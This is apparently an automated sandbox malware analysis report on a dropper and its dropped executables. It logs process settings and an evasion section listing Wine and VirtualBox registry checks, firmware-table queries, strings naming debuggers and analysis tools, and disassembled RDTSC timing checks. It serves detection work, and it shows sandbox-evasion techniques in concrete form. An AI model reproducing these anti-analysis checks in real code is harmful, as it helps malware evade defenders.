                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOX

                                      Malware Analysis System Evasion

                                      barindex
                                      Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeEvasive API call chain: GetPEB, DecisionNodes, ExitProcessgraph_2-9714
                                      Query firmware table information (likely to detect VMs)
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSystem information queried: FirmwareTableInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: FirmwareTableInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: FirmwareTableInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: FirmwareTableInformation
                                      Tries to detect sandboxes / dynamic malware analysis system (registry check)
                                      Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                                      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: X64DBG.EXE
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WINDBG.EXE
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
                                      Tries to detect virtualization through RDTSC time measurements
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 8CF4B6 second address: 8CEDD2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C9132768h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2F58h], ebx 0x00000011 jnc 00007F96C9132767h 0x00000017 clc 0x00000018 push dword ptr [ebp+122D167Dh] 0x0000001e ja 00007F96C9132772h 0x00000024 call dword ptr [ebp+122D3B32h] 0x0000002a pushad 0x0000002b jmp 00007F96C9132779h 0x00000030 jnp 00007F96C9132772h 0x00000036 xor eax, eax 0x00000038 pushad 0x00000039 jmp 00007F96C9132779h 0x0000003e mov ebx, 7B277CE5h 0x00000043 popad 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 jmp 00007F96C913276Dh 0x0000004d mov dword ptr [ebp+122D2D09h], eax 0x00000053 cmc 0x00000054 mov esi, 0000003Ch 0x00000059 or dword ptr [ebp+122D3A87h], edi 0x0000005f xor dword ptr [ebp+122D3A87h], ebx 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 sub dword ptr [ebp+122D3A87h], ebx 0x0000006f jnl 00007F96C9132777h 0x00000075 jmp 00007F96C9132771h 0x0000007a lodsw 0x0000007c mov dword ptr [ebp+122D3A87h], esi 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 jmp 00007F96C913276Ah 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f or dword ptr [ebp+122D3A87h], edx 0x00000095 nop 0x00000096 push ebx 0x00000097 jmp 00007F96C9132778h 0x0000009c pop ebx 0x0000009d push eax 0x0000009e push eax 0x0000009f push edx 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 js 00007F96C9132766h 0x000000a8 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 8CEDD2 second address: 8CEDD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 8CEDD8 second address: 8CEDDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3B7EA second address: A3B806 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96C91A8622h 0x00000008 jc 00007F96C91A8616h 0x0000000e jc 00007F96C91A8616h 0x00000014 jo 00007F96C91A861Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EBF2 second address: A3EC15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F96C913276Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EC15 second address: A3EC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jno 00007F96C91A8624h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jmp 00007F96C91A861Dh 0x00000017 jnp 00007F96C91A8618h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F96C91A861Ch 0x00000029 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EC5B second address: A3EC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3ED97 second address: A3EE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F96C91A8616h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jne 00007F96C91A8620h 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F96C91A8618h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov cx, bx 0x00000037 push 00000003h 0x00000039 sbb cl, FFFFFFD2h 0x0000003c push 00000000h 0x0000003e mov cx, ax 0x00000041 push 00000003h 0x00000043 mov dx, ax 0x00000046 push F69752A1h 0x0000004b push ecx 0x0000004c pushad 0x0000004d jmp 00007F96C91A861Ah 0x00000052 push eax 0x00000053 pop eax 0x00000054 popad 0x00000055 pop ecx 0x00000056 xor dword ptr [esp], 369752A1h 0x0000005d jmp 00007F96C91A8628h 0x00000062 lea ebx, dword ptr [ebp+12443B48h] 0x00000068 mov dword ptr [ebp+122D3B3Eh], ebx 0x0000006e xchg eax, ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 pop eax 0x00000075 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EE36 second address: A3EE3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EE3C second address: A3EE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EEEE second address: A3EF26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0D89A064h 0x0000000e mov cx, 42A8h 0x00000012 push 00000003h 0x00000014 push ebx 0x00000015 pop edx 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122D2C89h] 0x0000001e mov si, bx 0x00000021 push 00000003h 0x00000023 mov ecx, dword ptr [ebp+122D1D6Fh] 0x00000029 call 00007F96C9132769h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EF26 second address: A3EF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EF2A second address: A3EF30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3EFF5 second address: A3F054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F96C91A8616h 0x0000000a popad 0x0000000b jnl 00007F96C91A861Ch 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov dword ptr [ebp+122D1EC0h], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F96C91A8618h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 push 8A0E75EDh 0x0000003c pushad 0x0000003d jmp 00007F96C91A861Fh 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
